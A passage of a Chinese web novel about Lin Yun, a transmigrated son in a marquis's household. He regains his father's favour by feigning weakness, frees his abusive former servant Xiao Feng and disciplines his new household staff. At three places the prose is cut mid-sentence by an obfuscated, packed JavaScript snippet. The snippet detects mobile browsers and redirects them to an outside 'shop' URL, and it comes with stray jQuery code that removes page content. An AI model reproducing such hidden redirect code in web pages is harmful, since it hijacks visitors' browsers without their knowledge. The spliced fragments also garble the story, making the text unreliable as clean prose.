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肖峰之前听凡玖说侯爷大娘子他们去庙里打谯去了,晚上必回不早。折腾完林雲上好锁回了栖芳阁的赵嬷嬷后,正准备回房吃饭,不料半路又遇着大厨房的人,喊过他来,要他去给林雲送药。肖峰一直也饿着肚子,正没好气,又不敢逆了大厨房的王大嫂子,就疲疲沓沓地转回到祠堂厢房来。接着就有了肖峰故意拿林雲煞性子的一幕,也恰好这一幕被林将军看到。林将军其实也派人暗中监视着这里的一举一动,也对林雲被下人折辱的事有所耳闻,只是抓不到一点有关贺氏的把柄。那些人惯会趋炎附势,明眼看着林雲被林侯爷不待见,哪还有人心疼他的处境,进而都趁势或多或少地言语行动上不尊重他,倒是上手打骂还真没有几个敢的,唯有这肖峰跟了赵嬷嬷来,每次都会下毒手虐待林雲,林雲后来也不敢喊疼叫痛,故探听的人也以为只是普通的教管回了林将军。这日恰好陪老太太去清源寺进香,晚上回来路过,林将军就想着过去十来天了,也该去看看那小子了,不成想就遇见这么一幕。 肖峰早把之前那点虚荣和报复的快感丢到爪哇国了,此刻吓得浑身颤抖,话也说不清,东一句西一句的。 林雲以前就知道,肖峰头脑单纯直率,性子又莽撞,嘴头又不厉害。看到肖峰被林将军质问,也知道他院里的人多是因他遭难,虽然这些天肖峰对他极为不好,但并不想肖峰再被他牵连受害。于是大了些声复哀求父亲:“父亲,我已知错,赵嬷嬷教我的,我都记住了。肖峰是别人不愿跑这里才被人派来的,不怪他的。父亲,我知道祠堂上我让您又出了大丑,我愧对列祖列宗、愧对您对我的教养,辜负了您的期待。还望您给我个机会,让我改过自新。”说完在地下磕起响头来。 林将军脸上的怒气未消,又气这小厮无礼野蛮之至,又气自己的儿子被这般对待还如此顺从,完全没有以前的刚强和孤勇了,更是失望极了。转过身来,刚想动怒,阿夏先前在人最后站着,此刻走到林将军身边劝道:“侯爷,老太太今儿刚许了宏愿,以后势必宽待众人、上济下助,您得先做个表率才好!莫要老太太前脚刚在佛前说完的,后脚您就打了脸子。” 林将军听了,挥手示意付勇过去先扶起林雲的头。付勇会意,将孱弱的林雲抱住,他的额头都磕出一团红印记了。 “家法既明,你却白受这等小人欺负,家法里的‘尊卑有别,上下有序’你记到狗肚子了?”林将军转而质问他。 他一时还真找不出话来应对,明明是父亲祠堂上毫不顾忌地毒打他,致使他被人轻视虐待,而他又无力自保,只能哑巴吃黄连,但这些话不是又走了以前的老路了?父亲是不疼他的,他受的委屈,父亲也不能理解,倘若这么一辩白,父亲又会认为他还和以前一样,这些罪不都白受了?他想起以前母亲林芳清给他剥莲子吃的时候说过的一段话:“莲子心苦,必须要去掉才能尝出莲子的甘甜来。这和做人一样,表面看谁都光鲜亮丽,但莲心长得过于粗大发绿,那必然会使整个内核都发苦,慢慢地都坏掉了,只有剔除了内心的杂质,才能让表里如一······” 父亲见他越发两眼无神呆呆的,更着了恼,命付勇道:“不用管这个孽畜!几时气死我方休!”付勇听话松手站起,林雲不自觉地往前倒,好在用胳膊撑着俯趴在那儿。 他流出泪来,无奈地倾诉:“莲心发苦,吃莲子时必要去除莲心,方能品出其甘美。若莲子还长于莲蓬内,无人采去,那莲心就会越长越粗大且发了绿,莲子就会萎缩变硬。我明白,父亲恨铁不成钢,一心想让我成材成人,所做皆是为了替我改掉缺点和毛病,就像剔除莲子里发苦的莲心一般。所以无论父亲如何惩治我,我都甘愿承受。可莲子心苦,也是常人所说‘怜子辛苦’。父亲那么多孩子,不明白我的苦处我能理解。可我确实苦不堪言,别人都有亲母疼爱、兄弟姊妹互相支持扶助,我娘走了,妹妹又自出生没见过几面,偌大的府邸里竟没有一个我能说知心话的人。那年我想去祭拜我娘,无非是想在坟头处和娘亲说说话。可我这颗心也需要真情的抚慰,我也渴望父亲的理解关怀,也渴望父亲的疼爱照顾······我也有撑不下去的时候,如果,如果我不在了,只求父亲把我和我娘埋在一处,让我别再孤伶伶的一个人了。” 说完他装着支撑不住,完全趴在了地下,很无助地默默流着眼泪。 付勇见状,也不等林将军吩咐,就上前抱起林雲来。林雲也作势靠在付勇身上,装着昏了过去。付勇更是觉得靠在身上的人虚软无力,喊了几声“四少爷”也没有回应。 林将军第一次听林雲说出这般令人心疼的话,也不禁怒气全消,只说了句:“胡说些什么······”又见他昏过去,忙让人去请大夫,又命挪到床上,见此处不成体统,又忙叫人去抬轿子搬到外书房去。 56.擎云路 一 擎云路 一 穷且益坚,不坠青云之志。 示弱管用吗?也许合适的时间合适的地点就管用。林将军挺吃这一套的,偏偏林雲的母亲吴芝彤并不会这么做,林将军后悔爱她吗?也许会,也许内心里也不。天底下只有得不到和已失去最让人痴心。林将军在前院书房的隔间里看着熟睡的林雲,心里烦乱,想到从前,想到吴芝彤的坦率。对,坦率!林雲之前每一次顶嘴都能恰如其分地戳到他的心上,就是因为林雲和其母亲一样太过坦率。吴芝彤之前说过:“林州堂,我算是看明白你是个什么人了!你惧怕你母亲的强势,却又一方面享受着你母亲为你扫清障碍、处理家事的干脆爽快;你贪图娇妻美妾为你投怀送抱,却又嫌她们彼此争风吃醋、闹出不快;你既要名利双收,还要处处以你为先,所以你就杀了我父亲好去领功,暗中又把我款留在身边,瞒着我骗着我和我生儿育女;你还打得好算盘,借着岳丈家在朝廷中的势力,巩固自己的地位,却又置柳氏于不顾,让她焦心灼虑地只绕着你,从此再振作不起,再利用贺家的经济往来,积累金银财富,继续享受奢靡的贵族生活。也算我瞎了眼,当初看上你这么个精心算计的小人!我恨你,更恨我自己爱上个你这么个混蛋······”吴芝彤说的话不假,可她却看清得太迟,她的话却还是那么坦率、不留余地。而睡在眼前这个小子,就是坦率得太像他的母亲,所以之前林将军才会那么动怒,而今天这小子仍然坦率地告诉他:“我要你的疼爱、我要你的关心、我要你真切地让我心上!”虽然话没有以前的尖锐,也一点儿没有批判他的意思,可诉求表达地那么明确,甚至比以前那些气头上的话更让人难受。 林雲其实也没有睡着,他知道父亲坐在他的旁边看着他,他甚至也感觉得到父亲那双眼睛望着他沉思。他不敢妄言父亲在想什么,但他算是明白一点了,示弱,尤其是利用父亲对吴小娘的内疚之情来示弱,他的父亲才会施以一些怜悯。靠着这点怜悯,他能走出那间厢房就很好了,倘若他能继续靠着父亲的怜爱,过上好过一点的日子,那就可以慢慢地向自己的目标靠近了。他要什么呢?他要好好读书,他知道无论在什么朝代,只有好好读书,锻炼自己的本事,才能在社会上立足,以后就算脱离了林家,自己也还有丰衣足食的能力。 好在请来的太医一看过林雲的情况,便劝林将军说:“令郎体寒怯弱,肝亏气滞,脾肾两虚,外伤淤脓,实不应为他这个年纪该有的症候,该是好好调理调理,不可再耽误了。”林将军听从了此话,便让他养在外书房里面的小槅扇里,又让明老安排了几个妥帖的人看顾他,也不许人去惊扰、烦恼他。 那日,太医走后,他本来要跪下继续向父亲告罪,但林将军不许他起来,他红着眼眶跟父亲说:“爹爹原谅我了吗?我真的知道错了,以后您叫我做什么,我就做什么,不许我做的,我再不会忤逆您。我知道爹爹还疼我,我就心满意足了,再也不奢望更多,就算再多委屈我也能受下。我想,娘亲若是看到我以前那样,也会气得暴跳,更别提您了,爹爹大度,还能如此为孩儿费心尽力,我以后绝不辜负您的这番苦心。”不论真情还是假意,这些话确实打动了林将军,那样一个铮铮硬汉愣是也感到鼻子酸楚了,虽未说原不原谅,可也嘱咐了好好将养身体这样慈爱的话。 他的心总算能搁到肚子里,过几日太平日子了。但他担忧着肖峰的处境,脸上仍是戚戚的,不敢露出一点得意的神情来。 过了两三日,林将军在外间与几位朝臣议完事,顺道进到隔扇门里看看他。 正值着一个小厮,叫小宇,倒了水给他喝。他明知那水有些烫,眼睛扫着隔扇门那儿的人影瞧着像父亲,就硬撑着往下咽,逼的眼泪都从眼角流了出来。小宇还问呢:“少爷可是有点烫?”他也不吱声,还是端着杯子小口地喝,脸上却是很难过很畏缩的样子。他父亲走进来,他慌忙放下水杯,下地来跪下。 父亲早看见他那样子,气起来了,横过手拿起杯子来一握就晓得他怎么那样子了,骂他:“不长进的东西,我让人好生伺候着你,你不舒服自然要说话,硬捱着给我瞧吗!” “我不敢!”他立刻摇着头,眼里闪着泪花回父亲,“儿子累掯他们照顾,已经很不好意思了,怎敢几次三番地折腾他们!更何况他们要比肖峰对我好得多了,我很知足了。” “肖峰可是你以前调教的下人?”林将军反问他。 他低头不语。 “侯爷恕罪,是小人照顾不周,还请侯爷饶了我这次!”小宇也早跪在林雲身后请求道。 “爹爹,我以前不懂事,也不会调教别人······但我会好好学的。”林雲抢过话来说道,“小宇他们照顾的很好,是我不想来回麻烦他们的。” “罢了,起来吧。”林将军将水杯哐当一声丢在茶盘里,正准备要走。 “孩儿斗胆向您提个请求。”林雲没起来复又说道。 林将军刹住脚,好奇地问:“什么请求?” “既然父亲也觉得是我以前没有调教好肖峰,还求您让我亲自来处置他。”林雲小心翼翼地说。 林将军一挑眉,捋了捋冉须,想了想说:“也好,你的人你想怎么处置,等过几天明老给你收拾出院落来,你自己处置吧。” 果然,第二天下午明老来看望他,一并问他,东三院里还需添置些什么,偏院里有什么要搬过去的,他回说:“多谢明宅老费心,我已经好多了。偏院里也就些简单的被褥衣服和我抄写的书籍册子,地下几盆花大概没有浇水也枯死了,若还好就搬去,还有床榻夹层小抽屉里有攒的几两碎银,别的也没什么要紧的。” 明老带人去偏院收拾了一番,两个多月无人看管,偏院显然更寥落了,那些破旧的衣服寝具都丢掉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555542|129422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是将他吩咐的别的东西打包带到了东三院,那儿都装饰一新,按照林府规矩给林雲配备齐全了一应所用之物。 又过了三四天,明老派了徐管家和好几人把林雲转回了东三院疗养。 果然那院子和其他两位成年公子的院子一样齐整大方,只是以往没人居住,那些砖瓦和木漆都不亮了,徐管家告诉林雲,侯爷说他养在外书房到底不方便,要尽快挪回正经院子来居住。所以院子来不及大修重新装砌,待到他大婚时自会再好好修整一番的,现在将就住几年也是过得去的;里面都已经好好收拾过了,主屋、书房都是按照公子的规格来准备的,哪里不满意可以提出来,他们这些下人再去重弄。还特意将这两个月的例银一并给了他,还告诉他,侯爷已经恢复了他的正常供给,不过院里只能煎药、做些点心一类的,饭还是大厨房送过来,如果有什么想吃的,就叫下人过去吩咐大厨房做就好。 林雲谢了徐管家,还从那包银子里取出一小块要给徐管家,徐管家推辞了半天方收下。他请徐管家叫明老来一趟,他有些事想问。 过了半日,明老也就过来了。 林雲说明自己的意思,明老了解后没说什么,半刻功夫就将东西送了来。 第二天天和日暖,他叫自己院中管事的头儿从地牢里提了肖峰来。这人名叫李乔,年方二十三,人高马大,头脑很机灵,原来是跟着徐管家管理库房的。 提来肖峰后,李乔很识趣地将房中几个人都带出去了。 林雲看到肖峰一身的伤和血迹,不由得也很心疼。他唤肖峰进前来,轻声说道:“你受苦了。我知道,你自此跟了我就没过过好日子,我以前任性,由着你也没脑子胡闹,后来你肯定受了好多罪。我对不起你,所以你那么对我,我不生气。” 肖峰一身的伤,跪都跪不直,没好气地说:“要杀要剐都随你。我也活够了。” 林雲躺在榻上,拿出肖峰的死契来,又取过一根烛火点燃了,将那张出卖了肖峰一生自由的纸张烧尽了。 肖峰一开始没抬头,后来闻到烧东西的味道,以为要对他上刑,有些惊恐地四处张望,当看到点燃的是张纸后,脸上露出匪疑的表情来。 “这是你的卖身契。以后你就是自由身了。”林雲扔掉快燃尽了纸片,吹灭了蜡烛,也没有去看肖峰,而是缓缓说着,“你们几个跟着我,死的死,伤的伤,都是我对不起你们。好在我还能护住你的性命,可你也看见了,不是我不救你于危难,而是我自己都难自保。你背弃旧主、欺辱我的事就算我不计较,你在这个府里也待不下去了,往后的日子不是你能受得住的。这是我攒的十来两碎银,你拿着,到城郊买个小房子,有了住处,以后勤快些,不愁找不到事做。过几年娶妻生子,你的好日子就来了。” 说完,肖峰诧异不已,可林雲却叫来了外面的李乔,吩咐他叫来付勇大哥。 57.擎云路 二 二 林雲知道肖峰如若继续留在林府会有受不尽的磨难,更何况,他若是保住肖峰,只能留在自己跟前,而他,也不想再见到肖峰这个人了。他年纪不大,可自从当世穿越回来,也遭遇了不少事情,他很难去相信别人,或者说,他很难再为自己和别人建立亲密关系,而他被肖峰有意折磨时,内心里的痛苦完全不比□□上的更少。所以,当他再看到肖峰时,就想起了那几日无故受欺的画面,那些针一针一针地扎在他柔软的心尖上,偏偏这个人在他的灵魂最开始穿越回来时最围护他、最忠心他,如果是赖大娘或者杏萍,他倒也不会感到如此难过。他既觉得自己对不起肖峰,是自己造成了肖峰现在悲惨的境地,就像父亲说的,他没有调教好他们;但他也很矛盾,十几岁哪里懂得这些,而且大家都是人,都是平等的,怎么非要分个高级低等呢!后来他觉得肖峰确也对不起他,就算肖峰因为他受苦、挨打,可也不该把这些都算在他头上,怎么就和别人一样的势利眼,还拿着他取笑虐待呢!万恶的封建等级制!他对肖峰既内疚又同情,同时还有一种对他行径的憎恨之情。 他没有再看肖峰一眼,他害怕自己心一软,又红了眼睛,他院里这些人虽说看起来都良善得好说话,可若让他们看出一点他的软弱和无能来,也保不齐会和之前那起子人一样,暗里设法使绊子。 果然肖峰明白了他的意思,先开始还犟嘴说:“四少爷,你别假惺惺的,这会子要当好人了,早以前干什么去了!” 他没有说话,还侧卧在榻上,交着手低垂着眉眼,看不出表情来。 李乔叫院里的一个小厮去请付勇了,而他还在屋里听命,听到肖峰的话立刻上前替林雲给了肖峰一巴掌,那巴掌不轻,登时肖峰的嘴角流出了一道鲜血,滴答在青石地板上。李乔见林雲没说话,也没作声,又站回原处。 林雲没做任何回应。肖峰呆了片刻后,苦笑两声后哀叹:“是啊,你现在又有得力的人手了,会安什么好心放我走呢?” “你怎么对我,我心里有数,我只是不想你在这府里被折磨致死。以后的路你自己走吧。”林雲很慢的,一个字一个字地说完。 林雲不敢想以后肖峰出去后会怎样,他也看出来,肖峰由怨生恨,才会对他那样,可见肖峰性格不坚。可去了外面,照样会有村霸、官吏、恶邻等等人为难普通的老百姓,肖峰又无依无靠,出去了日子同样艰难。可他不处置肖峰,就会有父亲、大娘子等人下令处理,等待肖峰的会是严酷的家法惩治,不死也会没半条命。 “你真的要放我出去?我那样对你不罚我吗?”肖峰睁大了眼睛问他。 他点了点头:“你该受的惩罚已经受了,以后说话做事要过脑,一个人过日子也不容易。” “四少爷,是我,我······我猪油蒙了心了,我对不起您!是赵嬷嬷要我做的,我不······并不想那样对您。您给我个机会,还让我留在您身边吧!我做什么都行,刷恭桶都愿意······”肖峰醒悟了过来,大声央告道,还想往前爬到林雲的卧榻边去。李乔一把扯住他的胳膊,啐道:“放肆!四少爷给了你天大的恩典,你规矩着点!” 这时,付勇倒是一闪进门里来,拱手道安问:“今日朝会久,幸而侯爷没回来,我才有功夫过来一趟,四少爷可是有什么安排?” “劳动付大哥了,肖峰是我原来跟前的人,可怜他也受了许多苦,以前他很围护我的。我把他的卖身契烧掉了,以后他就是个自由身了,付大哥人好心善,我想拜托您送肖峰出去,顺便看看近郊哪里有小房子卖,帮着他置办个住处。”一面起身从炕几的小抽屉拿出一小包银子,还准备下地来亲自给付勇。 付勇忙上前扶住他,吩咐李乔道:“你们左右的人识些眼色,少爷身子弱,侯爷都交代这个月不许他劳累伤身的,有什么你们多动动腿子。” 李乔答应“是”,也上前站在他身边。 林雲摆摆手,把银子放在付勇手心里,面向付勇真诚地说:“他们这几个待我很尽心,肖峰的事还劳烦付大哥了。这点银子是昨天徐管家送来的,我没有动,还望你不要嫌弃。”又一回身从背后的被里拿出另一包粗布包裹的银子和串钱,还转交到付勇手里,继续吩咐道:“这点银子是我以前一点点攒下的,给肖峰置办住处用。麻烦你了!” 付勇将先前那包银子放在炕几上,拱手回道:“四少爷安排的,我照做就是。这些我可不敢收。” “付大哥,这是赏银,还请你不要推辞。”林雲又拿起那一小包银子给付勇。 “四少爷,我知道您这里并不宽裕,需要我做什么叫小的就行,赏银就不必了。”说着只拿了那包粗布包的银两,转身大步走到肖峰跟前对地上的人说:“还不谢四少爷的恩?” 肖峰眼里噙着泪,才拜了三拜,说:“四少爷的大恩大德,小的放在心里至死不忘,以后有机会一定想办法报答您。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581672|129422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 付勇拉起肖峰,说了句:“小的告退,少爷好好歇着吧。”然后出门了。 林雲从那包银子里取出一块约摸二两的,交给李乔,要他追出去务必赠予付勇。 他想,这件事很快会传到大家的耳中,他不管别人如何议论,只是要父亲也知道,他林雲不是那种无情寡义的人,更不会因为自己高高在上就随意欺凌弱小。 果然,到了这日晚间,下人们就已经传开了,说是雲少爷放了肖峰出去,还烧了其卖身契。但各种说辞都有,有说肖峰拼死护主有功的;有说肖峰被侯爷打断手脚,林雲觉得肖峰碍事的;有传肖峰被林雲放走后又暗中下毒手的,因为肖峰太了解其主人了;还有传林雲性子软弱,被欺负得吓破胆,不敢留人的······ 不过,贺小娘听说后笑笑:“这小子比他娘好玩多了,倒是比他娘强点。若是他娘,打死那个奴才才解心头恨呢!” 碧月在一旁不解地问:“他放了肖峰,肖峰出去后万一乱说话牵连到霁少爷怎么办?” “肖峰那个贱奴是个软骨头,早就招出了赵嬷嬷,侯爷早知道了,但还让林雲亲自处置,无非是想看看林雲会不会像以前那样冲动。绿珠应该还记得,那年吴氏因推倒柳氏一事被重罚,他那个儿子竟用灯油泼到霁儿脸上报复的事吧?这几年那小子长进了,放了肖峰,在他父亲面前立个仁慈的人设,又把火气往咱们这儿一惹,看咱们如何应对侯爷的责问,倒不像以前那般没脑子胡闹。”贺小娘歪在榻上,若有所思地说。 绿珠忙接过话来:“赵嬷嬷倒是嘴严,不会引到咱们这儿来,以霁少爷的才智肯定也能甩脱了自己。雲少爷几次三番被磨搓,现在应该只想保住自己的少爷待遇,没有能力来敌对咱们。” “那倒真是,他也算够能忍耐的了,能从那样的绝境里换回他父亲的一点心意来。现在他先努力别再失了侯爷的宠吧。” 林将军朝后就听付勇说起了林雲嘱托他的事,先是捋捋胡须满意地一笑,然后对付勇说:“那你办的怎么样?” 付勇回:“没有您的令,小的还不敢如四少爷所说的做,肖峰我关在了下人院里。” “我既说了让他亲自处置,你就按他说的做吧。”林将军悠悠地说。 “可肖峰的嘴,出去了咱们可管不了了。” “你知道怎么做。”林将军还是随手拿起本兵书翻到一页,假装去看书了,在付勇出去前又说了句,“办完后,回他一句。” 58.擎云路 三 三 桃花三月的天气,柳絮翻飞,春光乍泄,明媚而生机勃勃。林雲记得,偏院里那株大桃树到了这个节气会在枝头爆出一串串花蕾,花开得那么肆意烂漫,有风吹过,那花瓣儿就片片、朵朵飞舞起来,直落得粉红一地,他也不去扫,就任那些花儿洋洋洒洒地沾了一头一身。他带着那些花香睡在院里的藤椅上,那是一把做工粗糙、手法笨拙、他亲手用竹条编织的椅子。去年春天他歇在上面午觉,一只猫儿从房顶上越过,倏忽一下跳到他旁边的石桌上,吓得他一激灵从藤椅上摔下来,结果那把躺椅承受不住这么大动静,腿子劈开了。他只好跑到附近的竹林里又砍了几根竹子回来,削成竹篾条,绑了捆捆了绑,又用竹钉子铿铿铛铛地修理了半天,那把椅子倒是能承重了,但是那条坏掉的腿子比别的要粗笨难看许多,他看着那藤椅也不禁笑起来。他自从母亲病后,很少笑,没什么值得他笑,也没什么能逗他开怀。可是那天那把被他修理过的藤椅,却引得他笑了起来。 他为自己终于能抓到生活中的小美好而开心。他终于又收获了失而复得的快乐情绪。 现在他看着光秃秃的院子,又萌生出了让自己开心的方法。他要种花。还要种竹子、种瓜果、种棉花······谁说公子哥一定要做礼御骑射那种正经事才行呢。 他不要想父亲允不允许,若是不允许,拔掉就是了,总不能因为他养些花草又生气了吧。 生活已经很苦了,不给自己找点乐趣怎么行呢? 但这段日子父亲要他好好养着,不许他到处走动,连晨昏定省也免了。也就是说他自己是没办法出去的,只能劳动手下人了。 于是他坐在廊下,漫不经心地叫过李乔来:“我看到那边三哥院里的杏花开得正好,后花园里的花一定都开了许多,可惜我却不能去赏花。” 李乔没搭话,可能也没想到怎么答话。他也算个能察言观色的人了,可能他却猜不透眼前这个四少爷脑袋里想些什么。 李乔被派到这院里前,徐管家曾告诉他说:“这四少爷怪得很,人人都说他脾气凶暴、执拗刚烈,可我见他几次,人文文弱弱的,说话行为也不像人们说的那般不堪。要说以前他那个狠劲儿,我倒也听说过,可现在就像拔了毛的老虎、没了翎子的公鸡、夹着尾巴的小狗,可怜见的。那样一个公子爷,也肯为了口吃的低三下气,也愿为了个不相干的下人去求侯爷开恩,说不定真的变好了。你先去干着,在单院里当个头儿,可比在这儿看人脸色受人支使得好;若是四少爷还是原来那个样儿,你也别怕,我再想法弄你回来就是。” 在这院里十来天了,李乔确实觉得比以前强好些,以前库房事杂人手杂,刚去搬了米面,又让去整理缎子,这点没做完,又有别的院来领东西。常常是鸡叫就起,忙到夜深才睡,还不落好,这个骂完那个痛批,明老还嫌他们几个手脚麻利的头脑不灵活,头脑机灵的又笨手笨脚。在四少爷的洺苏阁里,倒是一天里多半天没事做,雲少爷没多少私人物品需要整理看管,人又在休养期间,喜静不喜闹,话也少,叫他们贴身伺候的时候也不多;院里通共就四个女使、三个小厮,一个熬药的魏嬷嬷,光是日常洒扫、服侍伴读等事务也早安排妥当,魏嬷嬷不爱叨咕,几个小子丫头也是年龄都小,只听他一人调遣。他也乐得清闲,只是雲少爷的性子他还摸不透。 那天提了肖峰来,他还以为雲少爷要好好地审问那个以前的“忠仆”,他还在自己手腕上缠好绷带准备好了一表忠心。他也听别人说过,雲少爷被关在祠堂那半个月被肖峰几个狠狠地折磨过,要是这少爷以前是那么个脾性高傲的人怎能吞得下这口气!可是雲少爷不仅没有责问,还烧了肖峰的卖身契,甚至还给银子交代侯爷跟前的人为他置买住处,他不解地很。 后来雲少爷要他追出去给付勇赏银,付勇死活不要,他只好拿着银子复命。雲少爷不声不响半天,害得他站在跟前心里直打鼓,雲少爷却无所谓似的说:“罢了,你拿去用吧。”他也不敢收,忙跪下请少爷收回,雲少爷亲自扶起他又说:“赏你的,你辛苦了。”说完就径自回卧房躺着了,也不理会他作何感想。 平时除了吃药睡觉、看看书打发日子外,这位主子甚少开口,也不怎么和他们聊天,他在屋里侍应着,少爷却要他去忙自己的,屋里就静静地剩了少爷一个人,他不放心,又派了个清秀的小厮名叫豆倌的进去。不大一会儿,豆倌也被赶了出来,还说没什么事就去找事做,不用进去监视他。他也莫名其妙,待在屋里不对,就站在门外侯着,不知怎的,少爷从窗户映出的人影儿看出了他,在屋里大声斥他:“都这么闲的么?实在怕看不紧我,就拿锁头把我锁上,再不济把我捆起来!要是不需要,那就自己找事做,不必屋外屋外瞎转悠!”他回:“少爷,这是规矩。我们得在跟前侍候着,要是别人知道了我们就得挨骂了。”少爷却“哐啷”摔开门,盯着他大声说:“你是头儿吧,这院里发生的事若是有人知道了,那便是你纵人说出去的。若你管得紧,就没有外人知道。怎么做,我想你知道。”说完又“咣啷”一声重重关上门进里面去了。他抹抹汗,把院子里的人都叫过来嘱咐道:“你们都听见了,少爷喜欢安静些,你们一般不要打搅少爷静养。可管好自己的嘴,仔细你的皮要紧。” 少爷也几乎没有训斥过谁,不论是打碎了茶盏、碰洒了汤药,或是偷懒不干活,少爷看见了,只给李乔个冷冷的眼神,李乔就知会了少爷的意思,叫到角落里训几句就完了。有次,扫院子的九芽见院子空荡没甚可扫的,就偷着空出去找别人顽去了,回来正好被李乔逮到,人高马大的李乔揪住九芽的一只耳朵,扯得他鬼哭狼嚎的,少爷出了房门制止住李乔说:“好了,教训教训就够了。” 但那天负责给少爷梳洗的女使茜柔在院子里和另外的丫头们随意说笑,正好在议论林霁的风流韵事,声音稍大了些,偏被林雲听见了,林雲冷不防打开门,叫过茜柔来,冷冷教训道:“你是不知道什么该说、什么不该说吗?还是想去赵嬷嬷那里培训几天再回来?”茜柔呆在原地,噤了声,似乎也不怎么怕少爷发火。那天李乔去管事院支领东西,偏巧那阵儿不在。林雲走到茜柔面前,冷眼瞧着这个面容稚嫩有些姿色的小丫头。这些丫头小子们大概也看人下菜,统听过洺苏阁里的这位四少爷以前不受待见,现在无非是恢复了少爷应有的待遇,但跟隔壁院阆苑里受宠万分的霁少爷比起来,差的不是一点半点。隔壁院光是下人们就有十三四个,吃穿都是上好的,就这还有贺小娘隔三差五送来点心绸缎,霁少爷喜欢的东西,侯爷和其小娘没有弄不来的。可洺苏阁这个地方冷清不说,屋里屋外都简朴的和以前的偏院差不多,赏赐又少,又无人添补,一院子的人都跟着林雲过着清心寡欲、一贫如洗的日子,也难怪这些下人们不把林雲放在眼里,反而更听李乔的话。林雲见茜柔一脸不服气,其余人也在观望,心里知道,如若不能教管住他们,以后鸡飞狗跳的时候多了去呢。 于是他叫李乔,另一个小厮禾香跑来说:“李头儿去支领东西了,要不要我去叫回来?” 他摆摆手,吩咐道:“你带着茜柔去明老那儿,就说我不勉强不愿意待在洺苏阁的人,还请明老给她另寻个去处。” 茜柔听了不由得放声大哭,还不住说着:“谁说我不愿待了?少爷要撵人,也得有个由头,我做错什么了!” 魏嬷嬷赶忙跑来劝架:“哥儿一向大度,他们打碎东西都不说打骂的,好端端的怎么撵起人来了?有什么不对的,告诉老奴,老奴帮您教训他们就是,您正好养身体,千万别动气。” “那就烦请老妈妈将茜柔送回去,我这里庙小,放不下这尊大佛!”说完也不等众人,就大步走到院门口,一把拽开了院门。平常他嘱咐李乔他们没什么事院门就关着,这院门一开,正对着外面的一道红墙脊瓦的海棠门,穿了门便正对着三少爷的阆苑院门。对面的嬉笑声一阵阵穿过来,林霁白日里在学堂,他院里这些丫鬟们就放松得多了,一听这边院门豁朗大开,都凑出脑袋来往这边瞧。自打林雲住进阆苑对面来,都神神秘秘的,院门紧关,也没什么人来往,更吸引了别人好奇的眼光。 魏嬷嬷见不好收场,看了看那些小的谁也不敢劝,茜柔还呜呜地哭,又忙走近林雲,委婉地说道:“少爷何必这样,有什么等李乔回来再说不迟,别站在风里让人看笑话。” 林雲登时摔下脸来:“笑话!我问你,谁才是洺苏阁的主子?我是没有权利处置吗?你们认李乔,不如我脱了这身衣裳,给你们端茶倒水可好?老妈妈既然觉得我是笑话,那就带着茜柔一起离了我这个笑场好不好?” 一连串咄咄逼人的问句把魏嬷嬷也逼的没话可说了,还是禾香机灵一些,见林雲真的生了气,拉茜柔去给少爷认错,可茜柔却左扭右扭地哭喊:“我有什么错?有错也好告诉我啊,弄得不明不白的就要被撵走,我到底做错了什么呀?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665812|129422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>禾香一跺脚,小跑到林雲身边跪下央求道:“还请少爷回屋里去,您身子还没养好,再吹了风就是我们的不是了。您不要茜柔了,我们都没脸领着回明老去,还等李头儿回来了,让他领着去才合适。您快回屋吧!” “你们都没脸领着去是吧?那我亲自去,总行了吧,我请不动茜柔,还麻烦你们去请一请才好。”林雲真的生气了,心里像窝了一大团火,他努力压制着自己的怒气,声音都有些发抖。 对面几个女使听到里面一句喝骂都进去了,不大一会儿,过来一位老妈妈缓步穿了海棠门站在了洺苏阁院门外,见林雲和院里的光景已经明白了七八分,先是对着林雲行礼毕,又不紧不慢地过来搀扶着林雲的胳膊,劝道:“雲少爷身体单薄,原应是安养着的,就算下人们犯了错,也不该累赘着自己的身子亲自管教。还请雲少爷保重自己,气坏了还是自己多喝些苦药汁水,自己受苦谁都替不了。老奴扶您进去吧!” 这时李乔风风火火地赶了回来,带着豆倌抱了好多东西,还没进门,先就跪下请罪,豆倌也跟着跪下,东西撒了旁边一地。 阆苑的管事武嬷嬷忙说:“快跟着少爷进到屋里再说。”边用不容置疑的动作搀拉着林雲进到正屋厅堂里。 武嬷嬷安抚了一顿林雲,又严厉地斥责了院里的人们,才被李乔送回阆苑去。 林雲让李乔务必把茜柔送走,哪里都可以,他这里是不要这样嘴碎眼浅、不服管的人的。李乔也见林雲动了气,也就动起手来拿绳子捆了茜柔,堵了嘴,准备带到明老那儿去。 